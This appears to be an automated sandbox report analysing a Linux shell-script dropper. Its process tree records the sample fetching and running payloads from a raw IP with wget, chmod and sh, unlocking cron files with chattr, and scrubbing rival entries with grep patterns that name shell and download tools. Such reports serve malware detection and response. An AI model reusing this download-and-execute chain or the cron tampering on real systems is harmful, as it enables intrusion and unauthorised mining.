6e55b212f06eda7e0993d1302332e20453df87c66987acc3be3206ec9e9ffa6f

Analysis

max time kernel
100s
max time network
103s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
16/05/2026, 19:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sh
Size 2KB
Sample260516-yayvmsg15z
SHA256 6e55b212f06eda7e0993d1302332e20453df87c66987acc3be3206ec9e9ffa6f
MD5 36ade3d5e6a692e72bc8a1665c3ef557
SHA1 238c20e6d37d36537d14509eaf193076a5f6f14c
SHA512 f1831faf64c479d2285b49978b9b6467d7f37001de8874678b489d5eec7880b579437ed3b49ff85cecb471e68fe23376e3490082e10f9f69c9b0d7cfec373caf
TLSH
T15E4104FAF4A28E30336DC5BD7589654CA7568A6F492A2E74F043743C27BC3247074695
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
794	chmod

Attempts to change immutable files 22 IoCs

Modifies inode attributes on the filesystem to allow changing of immutable files.

pid	Process
815	chattr
827	chattr
829	chattr
830	chattr
806	chattr
810	grep
819	grep
804	grep
807	chattr
816	grep
818	chattr
824	chattr
825	grep
828	chattr
803	chattr
808	chattr
821	chattr
822	grep
831	grep
801	chattr
812	chattr
813	grep

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-19.dat	upx
behavioral3/files/fstream-20.dat	upx
behavioral3/files/fstream-21.dat	upx

Enumerates kernel/hardware configuration 1 TTPs 2 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 19 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	systemctl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/self/maps	awk
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/mounts	cat
File opened for reading	/proc/1/environ	systemctl
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/cmdline	systemctl
File opened for reading	/proc/filesystems	mv

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/clean_crontab	sh

/tmp/sh
/tmp/sh
1⤵
PID:702
- /bin/grep
  grep noexec
  2⤵
  PID:710
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  - Reads runtime system information
  PID:711
- /bin/cat
  cat /proc/mounts
  2⤵
  - Reads runtime system information
  PID:709
- /usr/bin/whoami
  whoami
  2⤵
  PID:720
- /usr/bin/find
  find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*"
  2⤵
  - Reads runtime system information
  PID:723
- /bin/uname
  uname -mp
  2⤵
  PID:739
- /usr/bin/tr
  tr -d " "
  2⤵
  PID:744
- /usr/bin/od
  od -An -N2 -i /dev/urandom
  2⤵
  PID:743
- /usr/bin/expr
  expr 299761664 "%" 32 + 4
  2⤵
  PID:745
- /usr/bin/tr
  tr -dc A-Za-z0-9
  2⤵
  PID:749
- /usr/bin/head
  head -c 4
  2⤵
  PID:750
- /usr/bin/openssl
  openssl rand -base64 256
  2⤵
  PID:748
- /usr/bin/touch
  touch .testfile
  2⤵
  PID:753
- /bin/dd
  dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
  2⤵
  PID:756
- /bin/rm
  rm -rf .testfile .testfile2
  2⤵
  PID:757
- /bin/rm
  rm -rf clean
  2⤵
  PID:759
- /usr/bin/wget
  wget --no-check-certificate -q https://125.135.169.171/clean
  2⤵
  PID:760
- /bin/chmod
  chmod +x clean
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /bin/sh
  sh clean
  2⤵
  - Writes file to tmp directory
  PID:795
- - /bin/systemctl
    systemctl disable c3pool_miner
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:796
- - /bin/systemctl
    systemctl stop c3pool_miner
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:800
- - /usr/bin/chattr
    chattr -ia /var/spool/cron/crontabs
    3⤵
    - Attempts to change immutable files
    PID:801
- - /usr/bin/chattr
    chattr -ia /etc/crontab
    3⤵
    - Attempts to change immutable files
    PID:803
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/crontab
    3⤵
    - Attempts to change immutable files
    PID:804
- - /bin/mv
    mv /tmp/clean_crontab /etc/crontab
    3⤵
    - Reads runtime system information
    PID:805
- - /usr/bin/chattr
    chattr -ia /etc/cron.hourly
    3⤵
    - Attempts to change immutable files
    PID:806
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily
    3⤵
    - Attempts to change immutable files
    PID:807
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/apt-compat
    3⤵
    - Attempts to change immutable files
    PID:808
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/apt-compat
    3⤵
    - Attempts to change immutable files
    PID:810
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/apt-compat
    3⤵
    - Reads runtime system information
    PID:811
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/bsdmainutils
    3⤵
    - Attempts to change immutable files
    PID:812
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/bsdmainutils
    3⤵
    - Attempts to change immutable files
    PID:813
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/bsdmainutils
    3⤵
    - Reads runtime system information
    PID:814
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/dpkg
    3⤵
    - Attempts to change immutable files
    PID:815
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/dpkg
    3⤵
    - Attempts to change immutable files
    PID:816
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/dpkg
    3⤵
    - Reads runtime system information
    PID:817
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/exim4-base
    3⤵
    - Attempts to change immutable files
    PID:818
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/exim4-base
    3⤵
    - Attempts to change immutable files
    PID:819
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/exim4-base
    3⤵
    - Reads runtime system information
    PID:820
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/logrotate
    3⤵
    - Attempts to change immutable files
    PID:821
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/logrotate
    3⤵
    - Attempts to change immutable files
    PID:822
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/logrotate
    3⤵
    - Reads runtime system information
    PID:823
- - /usr/bin/chattr
    chattr -ia /etc/cron.daily/passwd
    3⤵
    - Attempts to change immutable files
    PID:824
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/cron.daily/passwd
    3⤵
    - Attempts to change immutable files
    PID:825
- - /bin/mv
    mv /tmp/clean_crontab /etc/cron.daily/passwd
    3⤵
    - Reads runtime system information
    PID:826
- - /usr/bin/chattr
    chattr -ia /etc/cron.weekly
    3⤵
    - Attempts to change immutable files
    PID:827
- - /usr/bin/chattr
    chattr -ia /etc/cron.monthly
    3⤵
    - Attempts to change immutable files
    PID:828
- - /usr/bin/chattr
    chattr -ia /etc/cron.d
    3⤵
    - Attempts to change immutable files
    PID:829
- - /usr/bin/chattr
    chattr -ia /etc/anacrontab
    3⤵
    - Attempts to change immutable files
    PID:830
- - /bin/grep
    grep -vE "wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d" /etc/anacrontab
    3⤵
    - Attempts to change immutable files
    PID:831
- - /bin/mv
    mv /tmp/clean_crontab /etc/anacrontab
    3⤵
    - Reads runtime system information
    PID:832
- - /bin/rm
    rm -rf /tmp/sh /tmp/systemd-private-41f4d2aa5dec43b988dcc10be1cd4155-systemd-timedated.service-G0EJe5
    3⤵
    PID:833
- - /bin/rm
    rm -rf /var/tmp/systemd-private-41f4d2aa5dec43b988dcc10be1cd4155-systemd-timedated.service-OJ5ErX
    3⤵
    PID:834
- - /bin/rm
    rm -rf "/dev/shm/*"
    3⤵
    PID:835
- /bin/rm
  rm -rf clean
  2⤵
  PID:836
- /bin/rm
  rm -rf .redtail
  2⤵
  PID:837
- /bin/rm
  rm -rf .Il8V
  2⤵
  PID:838
- /bin/grep
  grep -q x86_64
  2⤵
  PID:840
- /bin/grep
  grep -q amd64
  2⤵
  PID:842
- /bin/grep
  grep -q "i[3456]86"
  2⤵
  PID:844
- /bin/grep
  grep -q armv8
  2⤵
  PID:846
- /bin/grep
  grep -q aarch64
  2⤵
  PID:848
- /bin/grep
  grep -q armv7
  2⤵
  PID:850
- /bin/rm
  rm -rf x86_64
  2⤵
  PID:851
- /usr/bin/wget
  wget --no-check-certificate -q https://125.135.169.171/x86_64
  2⤵
  PID:852

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.testfile2

Path /.testfile2
Size 2.0MB
SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
MD5 b2d1236c286a3c0704224fe4105eca49
SHA1 7d76d48d64d7ac5411d714a4bb83f37e3e5b8df6
SHA512 731859029215873fdac1c9f2f8bd25a334abf0f3a9e1b057cf2cacc2826d86b0c26a3fa920a936421401c0471f38857cb53ba905489ea46b185209fdff65b3b6
SSDEEP 3::
MD5 SHA1 SHA512 SSDEEP

Submit Download

clean

Path /clean
Size 795B
SHA256 d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5 397ff5e54194072e6d8a44a0d8cc1b27
SHA1 42477b0c3b277b5e907b0a35c644f3291ed30a63
SHA512 ff40c129e3b2891ae280bce97e52ee69aea18ca60ea7901f7efd4cf11d3bf1c4ee48e9eb90e5f045e080ab784ee2a9942c2bcf0a531b7f4602931f63c4b32d74
TLSH
T1DD01288E6722D51420DDD524FAF14F7DAE31F2856D226816248B31FCE5ECA9433E8C36
MD5 SHA1 SHA512 TLSH

Submit Download

clean_crontab

Path /tmp/clean_crontab
Size 279B
SHA256 340dfc483eb79b83b0630b1c0b339e30ebd724ef2f58bb87ba92946472e8e63d
MD5 911a774fe040993b929504f3d9415ab3
SHA1 55ccc8e95097f005abf9f4d91a14394e6d0f5da5
SHA512 1eb8fd8dc6fd444ba2fa3ca7e863894cfb19383e5b20c700ed24aa615402340424d093a761632cf27a3e789ecd548ca972806e154161635da4f97b415d6fc64f
TLSH
T1E1D02BC6EC444330BC1D45A7645B1FA6E0C6167F1A15BCB480F93F10B1E56B830D290E
MD5 SHA1 SHA512 TLSH

Submit Download

clean_crontab

Path /tmp/clean_crontab
Size 1KB
SHA256 eff406c0943e1399e3e15fdb6ca2893a187d6b273f5bd9d17eec4e4b4c52b8cd
MD5 30e858769aacd9cc309502f8d5c6aa0f
SHA1 927c06dd4d6cbb5ca02e9505011c8667c47f2d6e
SHA512 f7f6e70925afe54fc2fdaae13a750b3c49fde9fa59d80af321885d270112ebb2291f034037708f1ba8515f3e3e1ca0a493cd1e002895aa699c469e0365ccde3c
TLSH
T17F31745F43004E7D558308E89DA68EC0DA0460B757B4314436AEF6F52F8B332F6A756C
MD5 SHA1 SHA512 TLSH

Submit Download

clean_crontab

Path /tmp/clean_crontab
Size 3KB
SHA256 a452648bb2e987dfbea6d16656f8009e641b215c69835cee79f108030be8ec7f
MD5 3e38c915416b4d0105fcc80dbe40280c
SHA1 280f2da18f7f6276b50cc3df097922745fabab76
SHA512 23be44f6166482ded73ab64db9fbf225910b77e9ef691de0450fc2ecc2000674c716c86720fcc0db6ab2b2f1c75d59ea0465e414700a371f2fdb6a4ec9835c23
TLSH
T115816249A37CA730144805BC39FD16265AB5043F4C11BE60B4ADB2582B9BE9832FAF9C
MD5 SHA1 SHA512 TLSH

Submit Download

clean_crontab

Path /tmp/clean_crontab
Size 722B
SHA256 0e5c204385b21e15b031c83f37212bf5a4ee77b51762b7b54bd6ad973ebdf354
MD5 8f111d100ea459f68d333d63a8ef2205
SHA1 077ca9c46a964de67c0f7765745d5c6f9e2065c3
SHA512 d81767b47fb84aaf435f930356ded574ee9825ec710a2e7c26074860d8a385741d65572740137b6f9686c285a32e2951ca933393b266746988f1737aad059adb
TLSH
T14B019C6A9366B3BF464CDDE166D7BDAC226230641C007D0B94BD2580B24FB625050C6E
MD5 SHA1 SHA512 TLSH

Submit Download

clean_crontab

Path /tmp/clean_crontab
Size 1KB
SHA256 8eeae3a9df22621d51062e4dadfc5c63b49732b38a37b5d4e52c99c2237e5767
MD5 bc4a71cbcaeed4179f25d798257fa980
SHA1 61445721d0b5d86ac0a8386a4ceef450118f4fbb
SHA512 709badb4dd1a15a10b34f82d31ed4bbab81698190d2ec94e2ad3dcdc90d97b893eb61cde72f08e517a8beea08ec1d675385fd42a9e77530981b7d83c6bd3548c
TLSH
T1FE31320172CA19BD16B7189C169BA21CAF6A349B45193610F8CD7460AF70931F571EBF
MD5 SHA1 SHA512 TLSH

Submit Download

x86_64

Path /x86_64
Size 239KB
SHA256 01788559375546caacbb9f816bfa2caf6a5f3ddaa41dee16d883f9e915142e0e
MD5 7ef68f653ce6452851e96b49d72a4977
SHA1 2ba83f9210b3098e7162f66808e9914e0ad44887
SHA512 53bde23b5b95ef37dce0f333ba5806e9b4f51545151b9f94f5261016ff98e5c842708f6e2635ac1e0be212ce8140c608e66c65676f1acf2f5e170dc2f49f5e69
SSDEEP 6144:ju//HKcG2wchSnsUNMzdaCCDUox55Qw8wRe8VO:jEKT2wcEt0JCgox5Kzme8Y
TLSH
T1A434235388570ABFD79062BFD51412C6F2E06CB5092E85998DFE4BEC089157EAEDCE30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_64

Path /x86_64
Size 383KB
SHA256 9f28a80149d4899bccf04e14a35817e214ccb981fa43d5660718d4b331ae0eab
MD5 273f48e63077d02b18cc0103d94b3925
SHA1 189c24c4d8e9b2c157778b008f70c4852c4149ab
SHA512 03575d3082ec88987c02c37918926db042f66f4553dbd215eb289a2cc3155666483cc04f2f57ea8e040fbc3326309ed0c789e5bb17dd1c7dc631b13081846ca6
SSDEEP 6144:ju//HKcG2wchSnsUNMzdaCCDUox55Qw8wRe8VoxI20cU01zUN1/OkhGuOXengcj+:jEKT2wcEt0JCgox5Kzme8GxVvUfvhGXf
TLSH
T1CF84235384470AFEFB81367DD94860C6F6E07DB80D3DD20995FE8BA809428B5E9E8D30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_64

Path /x86_64
Size 559KB
SHA256 a18952be5bd0e97cbf05a81475e1627e7fde6417e4e2ded915d22683dabbd616
MD5 555bbbcce962f145d67377f6780ab948
SHA1 338fb8104f7f8c5b4d81f23095efc34c9e98207b
SHA512 b6f31321b25b6b30d54ec5dbffa2794ae13bfeed83a6ebacc1f3dec46dc92dab154d4b6d46b77f985e908f53bd3f31c4d7515e98a07f151a69c26d4c1c78dfd6
SSDEEP 12288:jEKT2wcEt0JCgox5Kzme8GxVvUfvhGXYNrBO1F+540rXknlI:wKSc8CzOx8GxVvM3lQ+9XknlI
TLSH
T1C5C4235618654EFBF7C26639D51890C5F3B0DBB80A3EE34D36BAC77456838A895E8C30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads